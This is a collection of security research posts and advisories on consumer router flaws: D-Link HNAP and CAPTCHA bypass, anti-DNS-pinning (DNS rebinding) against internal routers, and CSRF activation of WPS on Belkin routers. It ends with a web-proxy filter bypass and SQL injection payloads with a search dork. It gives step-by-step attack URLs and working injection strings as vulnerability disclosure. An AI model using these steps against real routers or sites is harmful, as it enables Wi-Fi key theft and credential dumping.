D-Link has made some statements that we’d like to offer rebuttals to, as we either suspect them to be incorrect or find them to be downright confusing. The below quotations are from the ZDNet article:

The model that D-Link said is not in the European market is DI-524 (C1). In addition, that model does not support HNAP, the company noted.

Yes, the DI-524 hardware version C1 does in fact support HNAP. It was one of the first D-Link routers to do so. Install the most recent firmware release (version 3.23). HNAP is clearly there and vulnerable.

The non-existent model is DIR-628 (B2), as only A hardware has ever been released for that device.

Correct, the DIR-628 hardware version B2 does not exist; that’s bad on us. The version we tested was actually A2 not B2 as we erroneously reported. I find it odd that D-Link doesn’t seem to have even tested their A-series DIR-628s though. If they had, they would have found that they were vulnerable.

Finally, model DIR-655 (A1, firmware 1.30EA) runs a restricted firmware version related to East Asia and therefore irrelevant for Europe.

There seems to be some expectation from D-Link and others that we have tested every firmware version for every D-Link router in existence. That is simply not possible for us to do. We tested three different D-Link routers with four different firmware versions that spanned a period of three years and two continents, and they were all vulnerable. But that is all that we have tested, and therefore all that we can confirm. Just because we didn’t test European firmware doesn’t mean that it is or isn’t vulnerable. It just means that we didn’t test it.

The networking company said on Monday that the problem, discovered by security researchers SourceSec, affects three of its wireless routers: DIR-855 (hardware version A2), DIR-655 (versions A1 to A4) and DIR-635 (version B).

Interestingly, D-Link told PCWorld that there were five routers affected: the DIR-855, DIR-655, DIR-635, DIR-615, and the DI-634.

Now, we know that the DI-524 and DIR-628 are vulnerable. We have also had reports that the DIR-300 is vulnerable (though we can’t confirm this). Yet D-Link does not mention any of them in their list of vulnerable routers. So are there three router models affected? Or five? Or more? Has D-Link performed comprehensive testing on their routers? Or are these just the ones that they’ve tested so far? I can assure you that the DIR-628 and DI-524 need to be added to this list; which others are missing?

In addition, just running the exploit code was not enough to compromise D-Link routers, it said. “It is important to note that running the code on its own is not sufficient to hack into the router: only the software tool provided seems to achieve this result,” said the D-Link statement.

OK, now I’m confused – running the code won’t hack the router, but running the software will? It’s a bash script: the code is the software (Einhorn is Finkle…Finkle is Einhorn…). Any piece of software that can make Web requests can be used to exploit the vulnerability. Web browser? Check. Netcat? Yup. Wget? Sure! Curl? Definitely! I’m not sure what D-Link is trying to say here.

And finally, there’s the inevitable passing of the buck:

“By publicising their tool, and giving specific instructions, the authors of the report have publicly outlined how the security can be breached, which could have had serious repercussions for our customers,” said the D-Link statement.

Yes, of course. It’s not D-Link’s fault for selling vulnerable routers to their customers. It’s obviously our fault for informing their customers of the vulnerability. Shame on us.

The short story is that D-Link routers have a second administrative interface, which uses the Home Network Administration Protocol. While HNAP does require basic authentication, the mere existence of HNAP on D-Link routers allows attackers and malware to bypass CAPTCHA “security”. Further, HNAP authentication is not properly implemented, allowing anyone to view and edit administrative settings on the router.

HNAP appears to have been implemented in D-Link routers since 2006, and cannot be disabled. We have verified that vulnerabilities exist in the HNAP implementations of the DI-524, DIR-628 and DIR-655 routers, and suspect that most, if not all, D-Link routers since 2006 are vulnerable.

You can read our full write-up here, and download our POC tool, HNAP0wn, here.

[the captcha is] not really broken. It’s circumvented, but not broken.

Agreed; we’re still looking into some OCR engines that might be used to break the captcha completely. Perhaps a more fitting title would have been “D-Link Captcha Implementation Partially Broken”.

It turns out all that’s required to access the router’s setup page is the hash, so the feature provides an easy way for anyone within range to access the panel that controls all kinds of sensitive settings and contains the WPA password.

No, you cannot access the full router control panel with this vulnerability. Only a few pages (basically any XML page) honour authentication without captcha, one of which is the WPS activation page. Once WPS is activated, anyone within WiFi range can access the network, and then they can access the router control panel.

If you use a dictionary or simple alphanumerc passphrase then it can’t be brute forced unless they pass the CAPTCHA too.
Yes, it’s very annoying on web pages. But on a router page you might use once a month? It’s not such a bad idea.

Actually, if you look at the threat that the captcha is supposed to prevent, it is a terrible idea. A captcha does not provide security, it only attempts to prove that whoever performed a given HTTP request was a person. Yes, captchas may block automated attacks (assuming that the bot cannot break the captcha, which they have been known to do), but remember that the threat consists of a trojan running on the client’s PC that is used to attack the router. What’s stopping the malware from sending the image back to the attacker who can then read it and tell the trojan what it says? Yes, as shocking as it may seem, hackers are people too.

For this to work the attacker has to 1. be in your wifi range and 2. be wired into a pc on your lan i.e have a physical connection…Truth is, if you use the full length hexadecimal wpa2 key it will take a long, long time for anyone to crack your wifi.

To address first point, yes, the attacker does have to be within WiFi range; thankfully, it cannot be used to perform an entirely remote attack. I think it is important to keep in mind however, that besides the proximity requirement, a WiFi compromise is as dangerous (if not more so) than an attacker changing your router settings. Think about it; if he does get some malware on your PC, he only has access to one machine on the network, may not have sufficient permissions to do what he wants, and at the very least will have to upload a bunch of tools to your PC in order to propagate through the rest of your network. With your WPA key in hand, he can put as many of his own machines on your network as he wants.

As for the second point, please refer to my earlier point regarding the threat that the captchas are supposed to prevent. The attacker does not need a physical connection to your network; he just needs you to have one. The “truth is” that this can also be exploited via pure JavaScript (i.e., no trojans on your PC). Why would an attacker take the time to crack a 63-character WPA2 key when he can get you to click on a link and hand it to him?

Compromised web page is not wifi related, hence this is separate.

Technically, this is correct; there is no WiFi vulnerability per-se. However, the Web page vulnerability allows an attacker to bypass any WiFi security that you have in place, so I wouldn’t say that they are completely un-related.

most routers by default dont allow you to access the config from the WAN port, only if you are on the LAN

This is not a WAN issue. The attacker is in your browser or on your PC, which is on the LAN, hence, he has access to the router config page on the LAN side.

I thought most new routers require you to set them up properly to work and no longer “work out of the box” to prevent default password.

I wish! That actually would have been the proper response to such threats, had D-Link really wanted to make their routers more secure. To my knowledge, no consumer-grade router requires any type of configuration before they’ll work.

Honestly, If you have any advanced education you should be using OpenWRT or DDWRT and not the crap firmware in these routers.

Be careful what you wish for.

I would like to see a proof of concept. I do know that the salt hash is easily attainable in a txt file on the router.. however I forget the local url that retrieves it.

The salt is a JavaScript variable located in the router’s index page (http://192.168.0.1/). We are not releasing any code at this time, however, the attack is easily re-producible:

1. Go to http://192.168.0.1/ and view the page source; locate the salt value (search the source for “salt”).
2. Using the nicely-commented send_login JavaScript function in that same page, generate the MD5 hash for the User account with a blank password (which is the default).
3. Visit this URL: http://192.168.0.1/post_login.xml?hash=<insert the hash you calculated here>
4. Visit this URL: http://192.168.0.1/wifisc_add_sta.xml?method=pbutton&wps_ap_ix=0

If you have WPA enabled, your WPS light (located on the side of the D-Link) will start flashing. Any WPS-capable WiFi card can now connect directly to your WiFi network. If you aren’t using WPA, then anyone can connect directly to your WiFi network anyway. If you want to test the pure JavaScript variant of this attack, you’ll have to perform some anti-DNS pinning in order to read the salt value from the index page. While Firefox is kinda-sorta immune to anti-DNS pinning (only because it takes two minutes to perform in FF), IE and Opera users are prime targets.

When you login with the captcha enabled, the request looks like this:

GET /post_login.xml?hash=c85d324a36fbb6bc88e43ba8d88b10486c9a286a&auth_code=0C52F&auth_id=268D2

The hash is a salted MD5 hash of your password, the auth_code is the captcha value that you entered, and the auth_id is unique to the captcha image that you viewed (this presumably allows the router to check the auth_code against the proper captcha image). The problem is that if you leave off the auth_code and auth_id values, some pages in the D-Link Web interface think that you’ve properly authenticated, as long as you get the hash right:

GET /post_login.xml?hash=c85d324a36fbb6bc88e43ba8d88b10486c9a286a

Most notably, once you’ve made the request to post_login.xml, you can activate WPS with the following request:

GET /wifisc_add_sta.xml?method=pbutton&wps_ap_ix=0

When WPS is activated, anyone within WiFi range can claim to be a valid WPS client and retrieve the WPA passphrase directly from the router.

Further, one need not log in with Administrative credentials to perform this attack; only User-level access is required to activate WPS. This means that even if you load the new firmware on your router, use a strong WPA pass phrase, and change your Administrative login, an attacker can still activate WPS and gain access to your wireless network by simply having an internal client view a Web page.

The attack works like this:

1. Malware loads the router’s index page and glean the salt generated by the router.
2. The malware uses the salt to generate a login hash for the D-Link User account (blank password by default).
3. The malware sends the hash to the post_login.xml page.
4. The malware sends a request to the wifisc_add_sta.xml page, activating WPS.
5. The attacker uses WPSpy to detect when the victim’s router is looking for WPS clients, and connects to the WiFi network using a WPS-capable network card.

Additionally, this vulnerability could be triggered by a simple JavaScript snippet using anti-DNS pinning, which removes the requirement for the attacker to have installed malware onto a machine inside the target network; the victim could be exploited by simply browsing to an infected Web page.

Anti-DNS pinning is a technique for kinda-sorta circumventing the same domain policy enforced in Web browsers. While it does have some limitations, it is great for using a client’s browser to access restricted internal resources (such as a router’s Web interface). The problem is that whenever I see people talk about anti-DNS pinning, they make it more complex than it really should be. They focus on DNS cache time outs and forcing browsers to re-request DNS lookups and so forth. This is really all unnessesary; all an attacker really needs to do in order to thwart DNS pinning is to use DNS load balancing.

What’s so great about using DNS for load balancing? Any decently sized Web site does it; it’s pretty much standard procedure. Take a look at the DNS lookup for www.google.com and think about how it works for a second:

; <<>> DiG 9.4.3-P2 <<>> www.google.com
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57946
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 7, ADDITIONAL: 0

;; QUESTION SECTION:
;www.google.com.			IN	A

;; ANSWER SECTION:
www.google.com.		262385	IN	CNAME	www.l.google.com.
www.l.google.com.	82	IN	A	64.233.161.147
www.l.google.com.	82	IN	A	64.233.161.99
www.l.google.com.	82	IN	A	64.233.161.104

;; AUTHORITY SECTION:
l.google.com.		3802	IN	NS	f.l.google.com.
l.google.com.		3802	IN	NS	d.l.google.com.
l.google.com.		3802	IN	NS	c.l.google.com.
l.google.com.		3802	IN	NS	e.l.google.com.
l.google.com.		3802	IN	NS	b.l.google.com.
l.google.com.		3802	IN	NS	a.l.google.com.
l.google.com.		3802	IN	NS	g.l.google.com.

;; Query time: 0 msec
;; SERVER: 71.252.219.43#53(71.252.219.43)
;; WHEN: Mon May 11 15:23:53 2009

;; MSG SIZE  rcvd: 212
,

When your browser navigates to www.google.com, it will first try the 64.233.161.147 IP address; if that doesn’t work, it will try 64.233.161.99 and finally 64.233.161.104. Now, let’s say that we own a domain name, myevilsite.org, and we want to attack your internal router, located at 192.168.1.1. When your browser tries to navigate to myevilsite.org, it will perform a DNS lookup, and our DNS server will respond with the following:

;; ANSWER SECTION:
www.myevilsite.org	82	IN	A	12.34.56.78
www.myevilsite.org	82	IN	A	192.168.1.1

The browser will cache these IP addresses and first attempt to connect to 12.34.56.78, which is the IP address for the myevilsite.org Web server. The browser will load up our Web page that contains some JavaScript that we have crafted to assist us in this attack, and as soon as our Web server has supplied the browser with this page, it will shut down (note that the server itself is still up, just that there is no longer a service listening on port 80).

Our JavaScript then attempts to make a connection back to www.myevilsite.org via an XMLHttpRequest. Since this is within the same domain policy of the browser, the browser allows the request and attempts to connect back to 12.34.56.78; except that now the browser will recieve a TCP RST packet because there is no longer a service running on port 80 at that IP address. Upon seeing this, the browser will then try the next IP address in the list – which is 192.168.1.1. The browser thinks that it is still connecting to www.myevilsite.org, but it is actually connecting to your internal router. Since the browser sees this as still within the scope of its same-domain policy, our JavaScript that is running in your browser has full access to your router’s Web page.

Using this method, we can circumvent the DNS caching mechanism employed by the browser almost instantaneously (we don’t have to wait for anything to time out or reset or whatever). Granted, we still need to log in to the router, or otherwise bypass the login, in order to view or change settings, but we have now completely broken your firewall’s security, your browser’s security, and any anti-CSRF security that may have been implemented in your router’s Web application.

Now, think about the number of people that you know who leave their router’s login set to the default. Now think about the number of routers with security vulnerabilities that allow us to view / change settings without a valid login. Now think about people who change only the administrative login, but leave user accounts set to their defaults (this is basically anyone who uses a D-Link, since even the D-Link set-up CD ignores the unprivileged User account). That’s a lot of people who’s WPA keys we can steal, DNS settings we can configure, VOIP settings we can spy on, etc.

I wish I could say that this was all my idea, but it’s been around since at least 2002. I can say that it works very well however, and on our internal lab it takes less than a second to carry out the attack and glean all of the router’s WiFi security settings in either Firefox 3.0 or IE7. We are working on a tool to help streamline this attack, which we will hopefully have out in the coming weeks, so keep a look out for it.

We’ve already talked about our hardware-based attacks against WiFi-Protected Setup, but even without physical access to the router, WPS can still be leveraged by an attacker to gain access to a secured wireless network. Why try to crack a 60-character WPA2 key when you can run a phishing attack and force the router to give you the key instead? It’s as simple as creating an HTML image tag.

As we’ve covered before, WPS is a protocol designed to help with the distribution of WPA keys: all you have to do is push a button. From an attacker’s perspective however, it would be great if he could push that button remotely. Luckily for him, routers provide not only physical WPS push buttons, but also virtual push buttons in the administrative Web interface. When you click on the button, it just sends a standard HTTP request to the router, which causes the router to activate WPS and begin looking for a client to give the WPA key to. This is a key point, as now an attacker can use a CSRF attack to activate WPS. All the attacker has to do at that point is use a WPS-capable WiFi card to perform the WPS handshake(s) and retrieve the WPA key.

If you take a quick look at Milw0rm, there are a couple of Belkin G routers that are vulnerable to authentication bypass vulnerabilities, that is, you can change router settings without having to log in. Interestingly, our Belkin N router has these exact same vulnerabilities, suggesting that quite probably the entire line of Belkin routers also share this vulnerability (hooray for code re-use!).

To use this attack against our router, we simply crafted the following HTML page:

HTML page used to "crack" WPA2 via CSRF

This page has a hidden img tag that points to the WPS activation URL on the Belkin router. Since the Belkin is vulnerable to authentication bypass, anyone who views this page inside of our network will unknowingly activate WPS on the router. The page look innocuous when viewed in a browser:

What the page looks like in the browser window

However, by monitoring the WPS state of the router with WPSpy, we can clearly see that the router went from simply a configured state, to configured and looking for push-button WPS clients:

The Belkin router's WPS state changes when the HTML page is viewed by a client on the LAN

The attacker can now easily claim to be a WPS push button client, at which point the router will happily provide the attacker with the WPA key:

Using a WPS-capable WiFi card to retrieve the WPA key via WPS

It should be noted that Belkin routers aren’t the only ones affected by this type of attack. Various other routers have authentication-bypass vulnerabilities, and even those that don’t are still not immune. If no authentication bypass vulnerability exists, an attacker can simply create two images; the first one attempts to log in to the router with the default username / password, while the second one activates WPS.

This attack is difficult to mitigate. Even if you disable WPS, the attacker can add a second image tag that enables WPS first. Disabling JavaScript won’t even help, because you don’t need to use JavaScript to perform CSRF attacks. The best recourse is to do your homework and buy a router that (hopefully) doesn’t have an authentication bypass vulnerability, and change the default login.

Description
Assume that access to http://www.milw0rm.com has been blocked. The standard query string sent to NetProxy looks like:

GET http://www.milw0rm.com HTTP/1.0

NetProxy recognizes that this is a blocked URL and subsequently blocks the request. However, sending a request without ‘http://’ in the URL allows access to the blocked URL (note that the port must be manually specified as well):

GET www.milw0rm.com:80 HTTP/1.0

In addition, requests made in this manner are not logged to NetProxy’s connection log file.

Exploit POC
#!/usr/bin/perl
use IO::Socket;

exit;

Credits
Discovered by Craig Heffner and originally posted on milw0rm.

Exploit POC
/section/default.asp?id=’+union+select+top+1+username+from+faculty_accounts–”
/section/default.asp?id=’+union+select+top+1+username+from+accounts–”
/section/default.asp?id=’+union+select+top+1+password+from+accounts–”

Google Dork
intext:”2006 angel learning, inc” -pdf

Credits
Vulnerability discovered by Craig Heffner, originally posted on milw0rm.